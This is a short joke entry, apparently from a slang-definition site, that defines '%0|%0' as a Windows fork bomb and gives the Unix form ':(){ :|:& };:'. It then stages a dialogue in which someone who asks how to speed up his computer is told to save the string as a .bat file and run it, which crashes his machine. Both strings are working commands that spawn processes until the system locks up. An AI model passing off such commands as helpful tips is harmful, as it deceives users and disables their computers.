%0|%0

It is the fork bomb for Windows, the equivalent of :(){ :|:& };:

Guy 1: Any suggestions to speed up my computer?
Guy 2: Type %0|%0 into a text editor and save it as anything.bat then run the file. *Evil grin
Guy 1: Oh ok ... Wait a second! ... Fuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuck!!!!!

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